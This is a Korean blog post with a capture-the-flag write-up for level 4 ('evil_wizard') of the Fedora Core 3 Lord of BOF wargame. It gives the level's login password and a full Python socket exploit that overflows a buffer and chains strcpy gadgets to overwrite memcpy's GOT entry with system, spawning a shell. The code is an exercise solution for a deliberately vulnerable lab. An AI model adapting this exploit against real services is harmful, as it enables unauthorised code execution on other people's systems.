일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- 공룡책
- gui
- C++
- 코딩
- c++ heap
- 리듬게임
- 자료구조
- Nebula
- vim-go
- tour of go
- a tour of go
- C언어
- 알고리즘
- JUCE library
- 프로그래밍
- Docker
- 운영체제
- go channel
- LOB
- OS
- go
- 백준
- C++ gui 라이브러리
- 연결리스트
- C++ gui
- JUCE라이브러리
- C++ library
- JUCE 튜토리얼
- JUCE
- BOJ
Archives
- Today
- Total
CafeM0ca
[FC3]level4 evil_wizard 본문
반응형
ID:evil_wizard
PW:get down like that
이전 문제에서 로컬->리모트로 바뀌였다. 따라서 심볼릭링크를 못쓴다.
필요한걸 구해보자
NULL: 0x8049814
payload는 아래와 같다.
"A"*268+"strcpy+ppr+"memcpy_got1+c0+strcpy+ppr+memcpy_got2+07+strcpy+ppr+memcpy_got3+75+strcpy+ppr+memcpy_got4+NULL+
memcpy+AAAA+&(/binsh)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | import socket import struct p = lambda x : struct.pack("<L",x) s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('localhost',8888)) strcpy = p(0x8048438) memcpy = p(0x8048418) memcpy_got1 = p(0x8049850) memcpy_got2 = p(0x8049851) memcpy_got3 = p(0x8049852) memcpy_got4 = p(0x8049853) ppr = p(0x80484f3) Null = p(0x8049814) system1 = p(0x80484d0) system2 = p(0x804817c) system3 = p(0x80486bf) binsh = p(0x00833603) payload = "" payload += "A"*268 payload += strcpy + ppr + memcpy_got1 + system1 payload += strcpy + ppr + memcpy_got2 + system2 payload += strcpy + ppr + memcpy_got3 + system3 payload += strcpy + ppr + memcpy_got4 + Null payload += memcpy + "A"*4 + binsh data=s.recv(10000) print data s.send(payload+'\n') print payload s.send("my-pass"+'\n') data=s.recv(1024) print data s.close() | cs |
exploit
이번에는 그래도 좀 빨리 풀었다.(1시간 정도..) 만약 파이썬 소켓가지고 어리버리했으면 오래걸렸을꺼다..
반응형
'Hacking > LOB(Fedora3)' 카테고리의 다른 글
[FC3]writeup pdf (0) | 2018.06.22 |
---|---|
[FC3]level5 dark_stone (0) | 2018.02.01 |
[FC3]level3 hell_fire (0) | 2018.01.29 |
[FC3]level2 dark_eyes (0) | 2018.01.27 |
[FC3]level1 iron_golem (0) | 2018.01.26 |
Comments